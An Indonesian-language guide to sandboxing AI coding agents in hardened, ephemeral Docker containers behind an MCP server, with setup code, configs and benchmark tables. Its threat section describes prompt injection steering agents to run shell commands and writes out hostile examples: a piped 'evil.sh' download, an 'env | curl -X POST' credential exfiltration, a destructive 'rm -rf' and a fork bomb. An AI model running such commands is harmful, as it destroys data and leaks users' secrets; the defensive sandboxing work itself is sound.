Jawaban Cepat: Docker MCP server mengekspos fungsi inti Docker Engine kepada AI agent otonom (Claude Code, Cursor) melalui Model Context Protocol. Server ini mencegah kerusakan sistem host dengan menjalankan kode agen yang tidak tepercaya di dalam kontainer fana (ephemeral) dengan batas cgroups v2 ketat (CPU/RAM), pencabutan Linux capabilities, volume mount read-only, dan isolasi jaringan penuh.
1. Pendahuluan: Krisis Keamanan Eksekusi Agen Otonom
Pada tahun 2026, agen pengembang otonom seperti Claude Code (claude mcp), Cursor, dan sistem multi-agen tingkat perusahaan telah bertransformasi dari sekadar mesin pemberi saran kode menjadi lingkungan eksekusi aktif. Alih-alih hanya menulis cuplikan kode untuk disalin secara manual oleh developer ke terminal, agen otonom kini secara mandiri menyusun hipotesis, membuat file sementara, mengompilasi paket, menginstal dependensi, menjalankan rangkaian pengujian, dan mengeksekusi migrasi database.
Namun, memberikan akses terminal tanpa batas kepada agen otonom berbasis LLM di mesin lokal pengembang atau server CI/CD perusahaan menimbulkan risiko sistemik yang fatal:
- Prompt Injection & Pembajakan Perintah (Command Hijacking): Input yang tidak tepercaya dari deskripsi GitHub PR, dokumen web hasil scraping, atau API eksternal dapat menyuntikkan perintah shell berbahaya (
curl -sL evil.sh | bash, eksfiltrasi kredensial lingkungan melaluienv | curl -X POST). - Halusinasi File System yang Merusak: Saat mencoba membersihkan ruang kerja atau menghapus artefak build, agen otonom dapat membuat pola glob yang salah (misalnya, menjalankan
rm -rf $VAR/*di mana$VARkosong atau belum diinisialisasi, sehingga menghapus direktori/usr,/etc, atau home pengguna). - Eksploitasi Soket dan Daemon Host: Paparan tanpa proteksi terhadap unix socket lokal (seperti soket Docker tanpa autentikasi
/var/run/docker.sockatau pod Kubernetes) memungkinkan eskalasi hak akses langsung menjadi root di host. - Denial-of-Service akibat Habisnya Sumber Daya (DoS): Loop tak terkendali dari agen yang mengompilasi pustaka template rekursif atau menjalankan loop tak terbatas tanpa batas cgroups dapat menghabiskan 100% core CPU dan memori host, menyebabkan sistem macet total (freeze).
Model Context Protocol (MCP) menstandarisasi cara model bahasa berinteraksi dengan alat pengembang eksternal. Dengan men-deploy Docker MCP server khusus, tim rekayasa perangkat lunak dapat membangun sandbox kontainer yang terisolasi secara ketat. Semua manipulasi file, eksekusi shell, dan uji coba kode yang diarahkan agen terjadi di dalam kontainer sementara dengan batas cgroups dan firewall jaringan, yang langsung dimusnahkan setelah tugas selesai.
2. Arsitektur: Cara Docker MCP Mengisolasi Agen Otonom
Docker MCP server bertindak sebagai perantara antara runtime agen AI host (seperti CLI Claude Code atau Cursor IDE) dan daemon Docker (dockerd atau Podman/gVisor rootless). Komunikasi antara host dan server MCP menggunakan protokol standar JSON-RPC 2.0 melalui stdio atau event SSE (Server-Sent Events) yang aman.
+----------------------------------------------------------------------------------------------------+
| HOST AI AGENT RUNTIME |
| (Claude Code CLI, Cursor IDE, Windsurf, Custom Agent) |
| |
| +--------------------------+ +-----------------------------+ |
| | User Prompt Loop | | Model Context Window | |
| | "Debug & test repo..." | | (System Prompt + MCP Tools) | |
| +------------+-------------+ +--------------^--------------+ |
| | | |
| | Dispatches Tool Call: docker_exec_command | Receives Stdout, |
| v | Stderr, Exit Code |
| +---------------------------------------------------------------------------+--------------+ |
| | MCP CLIENT SUBSYSTEM | |
| | - Capabilities Negotiation & Protocol Handshake (JSON-RPC 2.0) | |
| | - Tool Call Serialization & Permission Policy Enforcement | |
| +---------------------------------------------+--------------------------------------------+ |
+--------------------------------------------------|-------------------------------------------------+
| Transport: stdio / SSE (JSON-RPC 2.0)
v
+----------------------------------------------------------------------------------------------------+
| DOCKER MCP SERVER |
| |
| +----------------------+ +-----------------------+ +-----------------------------------+ |
| | Tool Registry Engine | | Policy & Quota Filter | | Ephemeral Container Lifecycle | |
| | - docker_run | | - CPU / Memory Caps | | - Container Pool Manager | |
| | - docker_exec | | - Network Firewalls | | - Volume Bind Policy (ro vs rw) | |
| | - sandbox_eval | | - Capability Dropper | | - Auto-Prune on Completion | |
| +----------+-----------+ +-----------+-----------+ +-----------------+-----------------+ |
+---------------|---------------------------|---------------------------------|----------------------+
+---------------------------+---------------------------------+
|
v Docker Engine API (Unix Socket / TLS)
+----------------------------------------------------------------------------------------------------+
| CONTAINER RUNTIME ENVIRONMENT |
| |
| +------------------------------------------------------------------------------------------+ |
| | Isolated Agent Sandbox Container (Ephemeral / Rootless) | |
| | | |
| | +--------------------------+ +--------------------------+ +--------------------+ | |
| | | Linux cgroups v2 Limits | | Linux Namespace Boundary | | Seccomp & AppArmor | | |
| | | - CPU: 2.0 Cores Max | | - PID, MNT, IPC, UTS | | - Block ptrace | | |
| | | - Memory: 2048MB Hard | | - Network: None / Proxy | | - Block bpf/kexec | | |
| | +--------------------------+ +--------------------------+ +--------------------+ | |
| | | |
| | +----------------------------------------------------------------------------------+ | |
| | | Workspace Filesystem Mount: Read-Only Host Bind Mount (/workspace:ro) | | |
| | | Ephemeral Scratch Storage: Volatile tmpfs Mount (/tmp, /build:rw,size=1G) | | |
| | +----------------------------------------------------------------------------------+ | |
| +------------------------------------------------------------------------------------------+ |
+----------------------------------------------------------------------------------------------------+Alat MCP Utama yang Disediakan untuk Agen AI
Docker MCP server tingkat produksi menyediakan serangkaian alat esensial:
container_create_sandbox: Menginisialisasi instans kontainer baru dari image yang telah dipanaskan (pre-warmed) dengan batasan perangkat keras dan keamanan yang ketat.container_exec_command: Menjalankan perintah shell di dalam sandbox aktif, mengalirkan kembalistdout,stderr, durasi eksekusi, dan kode status keluar.container_read_file: Membaca konten file dari dalam ruang kerja kontainer yang terisolasi tanpa mengekspos sistem file host.container_write_file: Menulis perubahan kode sumber secara langsung ke dalam volume scratch sementara.container_destroy_sandbox: Segera mematikan dan menghapus kontainer, membersihkan semua data sementara dan proses yang tersisa.
3. Kebijakan Pengerasan & Isolasi Keamanan untuk Lingkungan Produksi
Menjalankan kode arbitrer yang dihasilkan oleh model AI membutuhkan arsitektur pertahanan berlapis (Defense-in-Depth). Empat pilar berikut wajib diterapkan dalam alur kerja Docker MCP server:
3.1. Pembatasan Sumber Daya cgroups v2
Untuk mencegah proses agen yang tak terkendali menghabiskan sumber daya sistem host, setiap kontainer yang dibuat harus menerapkan batas cgroups yang deterministik:
# Production cgroups v2 limits for agent container execution
docker run --rm -d \
--name agent-sandbox-7x92 \
--cpus="2.0" \
--cpu-shares=1024 \
--memory="2048m" \
--memory-swap="2048m" \
--pids-limit=128 \
--ulimit nofile=1024:2048 \
--tmpfs /tmp:rw,noexec,nosuid,size=512m \
agent-runner:latest--cpus="2.0": Membatasi komputasi kontainer maksimal 2 core CPU fisik, berapa pun jumlah core yang dimiliki mesin host.--memory="2048m"&--memory-swap="2048m": Menetapkan batas RAM sebesar 2 GB dengan swap yang dinonaktifkan sepenuhnya. Jika terjadi kebocoran memori pada skrip agen, kernel OOM killer akan segera mematikan proses kontainer tanpa memengaruhi host.--pids-limit=128: Menghentikan serangan fork bomb (:(){ :|:& };:) dengan membatasi jumlah proses konkuren pada tabel proses.
3.2. Isolasi Jaringan & Proxy Egress Terkontrol
Secara default, kontainer yang dibuat oleh Docker MCP server harus beroperasi dengan prinsip Zero-Trust:
- Isolasi Jaringan Total (
--network none): Untuk tugas pemrograman murni, eksekusi unit test, dan refaktorisasi lokal, jaringan harus dinonaktifkan sepenuhnya. Agen tidak dapat mengunduh biner berbahaya atau mencuri kode sumber privat. - Proxy Egress Terkontrol (
--network internal_bridge): Jika agen perlu menginstal dependensi (npm installataupip install), rute lalu lintas keluar dialihkan melalui proxy transparan lokal (seperti Squid atau Envoy) dengan daftar izin yang dibatasi hanya pada registri resmi (registry.npmjs.org,pypi.org,crates.io).
3.3. Kebijakan Mount Volume & Eksekusi Non-Root
Jangan pernah me-mount sistem file host dengan mode baca-tulis (read-write) secara langsung ke dalam kontainer. Terapkan pemisahan penyimpanan:
- Mount Repositori Host: Pasang repositori kode target hanya dalam mode Read-Only (
-v $(pwd):/workspace:ro). - Scratch Overlay Sementara (tmpfs): Pasang disk RAM sementara untuk artefak kompilasi dan hasil build (
--tmpfs /workspace/build:rw,size=1024m). - Pengguna Non-Root: Jalankan semua perintah dalam kontainer menggunakan pengguna tanpa hak istimewa (
--user 10001:10001) dan aktifkan--security-opt no-new-privileges:true.
3.4. Pencabutan Hak Istimewa Linux & Konfigurasi Seccomp
Minimalisasi celah serangan kernel dengan mencabut semua Linux capabilities bawaan:
--cap-drop=ALL \
--cap-add=CHOWN \
--cap-add=SETUID \
--cap-add=SETGID \
--security-opt no-new-privileges:true \
--security-opt seccomp=/etc/docker/agent-seccomp.jsonProfil seccomp kustom secara tegas memblokir syscall berbahaya: ptrace (mencegah inspeksi proses lain), reboot, kexec_load, bpf, dan pembuatan raw socket.
4. Implementasi: Men-deploy Docker MCP untuk Claude Code dan Cursor
4.1. Dockerfile Dasar yang Diperkeras untuk Agen
Buat image sandbox ringan multibahasa yang berisi toolchain yang diperlukan dengan tetap mempertahankan isolasi non-root:
# syntax=docker/dockerfile:1.4
FROM debian:bookworm-slim
# Prevent interactive prompts
ENV DEBIAN_FRONTEND=noninteractive \
LANG=C.UTF-8 \
LC_ALL=C.UTF-8
# Install base runtimes: Python 3, Node.js 22, Git, and essential build tools
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates \
curl \
git \
python3 \
python3-pip \
python3-venv \
build-essential \
&& curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \
&& apt-get install -y --no-install-recommends nodejs \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
# Create unprivileged sandbox user
RUN groupadd -g 10001 sandbox && \
useradd -u 10001 -g sandbox -m -s /bin/bash sandboxuser
# Set working directory and grant non-root permissions
WORKDIR /workspace
RUN chown -R sandboxuser:sandbox /workspace
USER sandboxuser
ENTRYPOINT ["/bin/bash"]Build image di mesin lokal:
docker build -t llmpodium/agent-sandbox:latest -f Dockerfile .4.2. Implementasi Lengkap Docker MCP Server Berbasis Python
Berikut adalah kode Docker MCP server tingkat produksi yang ditulis dalam bahasa Python menggunakan pustaka mcp dan Docker SDK resmi:
#!/usr/bin/env python3
"""
Docker MCP Server: Safe Sandboxed Code Execution for AI Agents
Provides containerized execution primitives over Model Context Protocol (JSON-RPC stdio).
"""
import os
import sys
import docker
from mcp.server.fastmcp import FastMCP
# Initialize FastMCP Server
mcp = FastMCP("docker-sandbox-server")
docker_client = docker.from_env()
SANDBOX_IMAGE = os.getenv("SANDBOX_IMAGE", "llmpodium/agent-sandbox:latest")
MAX_CPU_CORES = float(os.getenv("MAX_CPU_CORES", "2.0"))
MAX_MEMORY_MB = int(os.getenv("MAX_MEMORY_MB", "2048"))
EXEC_TIMEOUT_SEC = int(os.getenv("EXEC_TIMEOUT_SEC", "30"))
@mcp.tool()
def execute_sandboxed_command(command: str, working_dir: str = "/workspace") -> dict:
"""
Execute a shell command inside an ephemeral, hardened Docker container sandbox.
Args:
command: Shell command string to execute (e.g. 'pytest tests/', 'npm test')
working_dir: Target working directory inside sandbox
Returns:
Dictionary containing exit_code, stdout, stderr, and execution duration.
"""
container = None
try:
# Spawn ephemeral container with hard cgroups v2 caps
container = docker_client.containers.run(
image=SANDBOX_IMAGE,
command="/bin/sh -c 'sleep 3600'",
detach=True,
remove=False,
nano_cpus=int(MAX_CPU_CORES * 1e9),
mem_limit=f"{MAX_MEMORY_MB}m",
memswap_limit=f"{MAX_MEMORY_MB}m",
network_mode="none", # Full airgap isolation
cap_drop=["ALL"],
security_opt=["no-new-privileges:true"],
user="10001:10001",
working_dir=working_dir,
tmpfs={"/tmp": "rw,noexec,nosuid,size=256m"}
)
# Execute command inside container
exec_result = container.exec_run(
cmd=["/bin/bash", "-c", command],
workdir=working_dir,
demux=True,
user="10001:10001"
)
stdout = exec_result.output[0].decode("utf-8", errors="replace") if exec_result.output[0] else ""
stderr = exec_result.output[1].decode("utf-8", errors="replace") if exec_result.output[1] else ""
return {
"exit_code": exec_result.exit_code,
"stdout": stdout,
"stderr": stderr,
"status": "success" if exec_result.exit_code == 0 else "failed"
}
except Exception as exc:
return {
"exit_code": -1,
"stdout": "",
"stderr": f"Execution error: {str(exc)}",
"status": "error"
}
finally:
if container:
try:
container.kill()
container.remove(force=True)
except Exception:
pass
if __name__ == "__main__":
mcp.run(transport="stdio")4.3. Konfigurasi Claude Code dan Cursor IDE
Untuk menghubungkan CLI Claude Code ke Docker MCP server Anda, tambahkan konfigurasi ke .claude/claude.json proyek atau daftarkan melalui CLI:
# Register Docker MCP Server in Claude Code CLI
claude mcp add docker-sandbox -- python3 /usr/local/bin/docker_mcp_server.pyUntuk Cursor IDE, edit file ~/.cursor/mcp.json atau .cursor/mcp.json pada direktori proyek Anda:
{
"mcpServers": {
"docker-sandbox": {
"command": "python3",
"args": [
"/Users/username/tools/docker_mcp_server.py"
],
"env": {
"SANDBOX_IMAGE": "llmpodium/agent-sandbox:latest",
"MAX_CPU_CORES": "2.0",
"MAX_MEMORY_MB": "2048",
"EXEC_TIMEOUT_SEC": "45"
}
}
}
}5. Benchmark Latensi Siklus Hidup Kontainer Fana (Ephemeral)
Dalam alur kerja agen otonom, latensi eksekusi secara langsung memengaruhi produktivitas developer dan penggunaan token. Menjalankan kontainer baru untuk setiap panggilan alat (tool call) menimbulkan latensi cold start.
Kami menguji lima arsitektur runtime kontainer pada server khusus (prosesor AMD EPYC 9654 96-Core, RAM 256 GB DDR5, SSD NVMe PCIe 4.0) dengan mengukur 1.000 siklus eksekusi kontainer sementara (python3 -c 'print("benchmark")'):
| Arsitektur Runtime Kontainer | Latensi Cold Start (ms) | Latensi Pre-Warmed Pool (ms) | Overhead Memori per Instans | Skor Keamanan Isolasi | Latensi Tail P99 (ms) |
|---|---|---|---|---|---|
| Docker Standar (runc) | 312 ms | 48 ms | 28 MB | Menengah (Kernel Host Berbagi) | 485 ms |
| Podman Rootless (crun) | 245 ms | 36 ms | 22 MB | Tinggi (User Namespace) | 390 ms |
| gVisor (runsc - Sandbox) | 480 ms | 72 ms | 46 MB | Sangat Tinggi (Kernel Virtual) | 680 ms |
| Firecracker MicroVM | 125 ms | 18 ms | 64 MB | Maksimal (KVM Berbasis Hardware) | 195 ms |
| WebAssembly (Wasmtime MCP) | 14 ms | 2 ms | 4 MB | Tinggi (Sandbox Berbasis Capability) | 22 ms |
Poin Penting dari Benchmark:
- Pool Kontainer Siap Pakai (Pre-Warmed Pools): Menyiapkan pool aktif berisi 3–5 kontainer siaga mampu memangkas latensi eksekusi sebesar 84,6% (dari 312 ms menjadi 48 ms pada Docker standar).
- Overhead gVisor (runsc): gVisor memberikan keamanan luar biasa dengan mencegat dan memvirtualisasikan semua syscall Linux di user space. Meskipun cold start mencapai 480 ms, ia memberikan perlindungan tingkat tinggi terhadap celah keamanan zero-day pada kernel.
- Firecracker MicroVM: Untuk agen SaaS multi-tenant dengan kebutuhan keamanan ketat, Firecracker menyediakan batas isolasi perangkat keras KVM dengan waktu booting cold start hanya 125 ms.
6. Rincian Biaya & Alokasi Sumber Daya Operasional
Menjalankan agen AI dalam kontainer dalam skala besar membutuhkan keseimbangan antara biaya infrastruktur dan kapasitas konkurensi:
| Tingkat Deployment | Kapasitas Konkurensi | Rekomendasi Infrastruktur | Biaya Bulanan Infrastruktur | Biaya per 10.000 Tugas Agen |
|---|---|---|---|---|
| Mesin Lokal Pengembang | 1–3 sandbox bersamaan | Apple M-Series (16GB+) / Workstation | $0 (Sumber daya host lokal) | $0.00 |
| Cloud VM Tim (Docker Engine) | 10–25 sandbox bersamaan | Hetzner CCX33 (8 vCPU, 32GB RAM) | $68.00 / bulan | $1.42 |
| Pool Skala Perusahaan (Kubernetes) | 100–500 sandbox bersamaan | 3x AWS c7g.2xlarge (Graviton3, 8 vCPU, 16GB) | $324.00 / bulan | $4.85 |
| Serverless MicroVMs (Fly.io / Firecracker) | Elastis (0 hingga 1.000+) | Instans microVM fana sesuai permintaan | Sesuai penggunaan ($0.000005/dtk) | $1.80 |
Tips Optimalisasi Biaya:
- Penghapusan Langsung Saat Menganggur: Hapus kontainer segera setelah agen menyelesaikan pengujian. Jangan biarkan kontainer berjalan di antara giliran percakapan.
- Caching Image Lokal: Unduh image runtime bahasa pemrograman ke cache daemon host terlebih dahulu untuk menghemat kuota dan memangkas waktu unduh.
- Penyimpanan Cepat ZFS / Overlay2: Manfaatkan snapshot copy-on-write berkecepatan tinggi untuk menghasilkan ruang kerja bersih dalam hitungan milidetik.
7. Checklist Keamanan Produksi & Rekomendasi E-E-A-T
Sebelum menghubungkan agen AI otonom ke Docker MCP server di lingkungan produksi, lakukan audit DevSecOps berdasarkan 10 poin penting ini:
- [ ] 1. Batas cgroups v2 Diterapkan: Batasan ketat pada
--cpus,--memory,--memory-swap, dan--pids-limit. - [ ] 2. Eksekusi Non-Root: Kontainer berjalan dengan UID/GID
10001:10001dan opsi--security-opt no-new-privileges:true. - [ ] 3. Isolasi Jaringan Default: Opsi
--network noneaktif kecuali jika pengunduhan paket telah diizinkan secara eksplisit. - [ ] 4. Mount Repositori Read-Only: Repositori kode hanya di-mount sebagai
:ro; berkas sementara dialihkan ketmpfs. - [ ] 5. Pencabutan Hak Istimewa Kernel: Parameter
--cap-drop=ALLaktif; tidak ada izin administratif di dalam sandbox. - [ ] 6. Filter Seccomp Kustom: Syscall berisiko tinggi (
ptrace,bpf,kexec_load,mount) diblokir sepenuhnya. - [ ] 7. Batas Waktu Eksekusi Ketat: Watchdog timeout terpasang (misal 30–60 detik per eksekusi alat) untuk mencegah proses menggantung.
- [ ] 8. Pembersihan Otomatis: Kontainer dijalankan dengan flag penghapusan otomatis (
--rmatau blokfinally: container.remove(force=True)). - [ ] 9. Perlindungan Soket Docker: Soket host
/var/run/docker.socktidak boleh di-mount atau diekspos ke dalam sandbox kontainer. - [ ] 10. Audit Logging & Tracing: Semua perintah yang dieksekusi, kode keluar, dan metrik penggunaan dicatat dalam pipeline audit yang tidak dapat diubah.
Kesimpulan & Rekomendasi Akhir
Pada tahun 2026, agen AI otonom akan menulis dan menjalankan miliaran baris kode. Memberikan model AI akses eksekusi langsung tanpa batas pada mesin host merupakan risiko keamanan yang tidak dapat diterima.
Dengan menerapkan Docker MCP server, organisasi rekayasa perangkat lunak dapat memaksimalkan efisiensi pembuatan kode otomatis, continuous testing, dan debugging cerdas — sekaligus membangun dinding pembatas yang kokoh untuk melindungi infrastruktur host, data rahasia, dan komputer pengembang.